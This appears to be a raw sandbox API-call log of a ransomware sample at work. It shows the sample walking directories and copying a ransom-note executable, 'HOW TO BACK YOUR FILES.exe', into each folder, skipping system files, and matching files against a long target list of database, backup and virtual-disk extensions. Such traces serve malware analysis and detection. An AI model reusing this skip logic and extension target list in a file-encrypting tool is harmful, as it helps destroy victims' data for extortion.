	[0072.114] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0072.114] lstrlenW (lpString="packages") returned 8
	[0072.114] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned 84
	[0072.114] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0072.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0072.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0072.114] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0072.114] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0072.114] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0072.114] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0072.114] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0072.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0072.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0072.114] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned 91
	[0072.114] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0072.114] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0072.115] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.115] GetLastError () returned 0x0
	[0072.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0072.115] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0072.115] CloseHandle (hObject=0xc0) returned 1
	[0072.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0072.115] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.116] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0072.116] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.116] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.116] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.116] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.116] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.116] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.116] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.116] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.116] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5ec850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.116] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.116] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="windows") returned -1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="bootmgr") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="temp") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="pagefile.sys") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="boot") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ids.txt") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ntuser.dat") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="perflogs") returned 1
	[0072.116] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="MSBuild") returned 1
	[0072.116] lstrlenW (lpString="vcRuntimeAdditional_amd64") returned 25
	[0072.116] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned 93
	[0072.116] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0072.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0072.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xec) returned 0x5a3168
	[0072.117] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0072.117] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0072.117] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0072.117] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0072.117] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0072.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0072.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0072.117] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned 117
	[0072.117] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0072.117] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0072.117] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.118] GetLastError () returned 0x0
	[0072.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0072.118] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0072.118] CloseHandle (hObject=0xc0) returned 1
	[0072.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0072.118] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.118] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0072.118] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.118] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.118] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.118] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.118] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.118] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.118] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.118] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.118] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0072.118] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.118] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0072.118] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0072.118] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0072.119] lstrlenW (lpString="cab1.cab") returned 8
	[0072.119] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned 119
	[0072.119] lstrcpyW (in: lpString1=0x119e6f4, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0072.119] lstrlenW (lpString="cab1.cab") returned 8
	[0072.119] lstrlenW (lpString="Apollon865") returned 10
	[0072.119] lstrlenW (lpString=".dll") returned 4
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0072.119] lstrlenW (lpString=".lnk") returned 4
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0072.119] lstrlenW (lpString=".ini") returned 4
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0072.119] lstrlenW (lpString=".sys") returned 4
	[0072.119] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0072.119] lstrlenW (lpString="cab1.cab") returned 8
	[0072.119] lstrlenW (lpString="bak") returned 3
	[0072.119] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0072.119] lstrlenW (lpString="ba_") returned 3
	[0072.136] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0072.136] lstrlenW (lpString="dbb") returned 3
	[0072.136] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0072.136] lstrlenW (lpString="vmdk") returned 4
	[0072.136] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0072.137] lstrlenW (lpString="rar") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0072.137] lstrlenW (lpString="zip") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0072.137] lstrlenW (lpString="tgz") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0072.137] lstrlenW (lpString="vbox") returned 4
	[0072.137] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0072.137] lstrlenW (lpString="vdi") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0072.137] lstrlenW (lpString="vhd") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0072.137] lstrlenW (lpString="vhdx") returned 4
	[0072.137] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0072.137] lstrlenW (lpString="avhd") returned 4
	[0072.137] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0072.137] lstrlenW (lpString="db") returned 2
	[0072.137] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0072.137] lstrlenW (lpString="db2") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0072.137] lstrlenW (lpString="db3") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0072.137] lstrlenW (lpString="dbf") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0072.137] lstrlenW (lpString="mdf") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0072.137] lstrlenW (lpString="mdb") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0072.137] lstrlenW (lpString="sql") returned 3
	[0072.137] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0072.137] lstrlenW (lpString="sqlite") returned 6
	[0072.137] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0072.137] lstrlenW (lpString="sqlite3") returned 7
	[0072.137] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0072.137] lstrlenW (lpString="sqlitedb") returned 8
	[0072.137] lstrlenW (lpString="xml") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0072.138] lstrlenW (lpString="$er") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0072.138] lstrlenW (lpString="4dd") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0072.138] lstrlenW (lpString="4dl") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0072.138] lstrlenW (lpString="^^^") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0072.138] lstrlenW (lpString="abs") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0072.138] lstrlenW (lpString="abx") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0072.138] lstrlenW (lpString="accdb") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0072.138] lstrlenW (lpString="accdc") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0072.138] lstrlenW (lpString="accde") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0072.138] lstrlenW (lpString="accdr") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0072.138] lstrlenW (lpString="accdt") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0072.138] lstrlenW (lpString="accdw") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0072.138] lstrlenW (lpString="accft") returned 5
	[0072.138] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0072.138] lstrlenW (lpString="adb") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0072.138] lstrlenW (lpString="adb") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0072.138] lstrlenW (lpString="ade") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0072.138] lstrlenW (lpString="adf") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0072.138] lstrlenW (lpString="adn") returned 3
	[0072.138] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0072.138] lstrlenW (lpString="adp") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0072.139] lstrlenW (lpString="alf") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0072.139] lstrlenW (lpString="ask") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0072.139] lstrlenW (lpString="btr") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0072.139] lstrlenW (lpString="cat") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0072.139] lstrlenW (lpString="cdb") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0072.139] lstrlenW (lpString="ckp") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0072.139] lstrlenW (lpString="cma") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0072.139] lstrlenW (lpString="cpd") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0072.139] lstrlenW (lpString="dacpac") returned 6
	[0072.139] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0072.139] lstrlenW (lpString="dad") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0072.139] lstrlenW (lpString="dadiagrams") returned 10
	[0072.139] lstrlenW (lpString="daschema") returned 8
	[0072.139] lstrlenW (lpString="db-journal") returned 10
	[0072.139] lstrlenW (lpString="db-shm") returned 6
	[0072.139] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0072.139] lstrlenW (lpString="db-wal") returned 6
	[0072.139] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0072.139] lstrlenW (lpString="dbc") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0072.139] lstrlenW (lpString="dbs") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0072.139] lstrlenW (lpString="dbt") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0072.139] lstrlenW (lpString="dbv") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0072.139] lstrlenW (lpString="dbx") returned 3
	[0072.139] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0072.139] lstrlenW (lpString="dcb") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0072.140] lstrlenW (lpString="dct") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0072.140] lstrlenW (lpString="dcx") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0072.140] lstrlenW (lpString="ddl") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0072.140] lstrlenW (lpString="dlis") returned 4
	[0072.140] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0072.140] lstrlenW (lpString="dp1") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0072.140] lstrlenW (lpString="dqy") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0072.140] lstrlenW (lpString="dsk") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0072.140] lstrlenW (lpString="dsn") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0072.140] lstrlenW (lpString="dtsx") returned 4
	[0072.140] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0072.140] lstrlenW (lpString="dxl") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0072.140] lstrlenW (lpString="eco") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0072.140] lstrlenW (lpString="ecx") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0072.140] lstrlenW (lpString="edb") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0072.140] lstrlenW (lpString="epim") returned 4
	[0072.140] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0072.140] lstrlenW (lpString="fcd") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0072.140] lstrlenW (lpString="fdb") returned 3
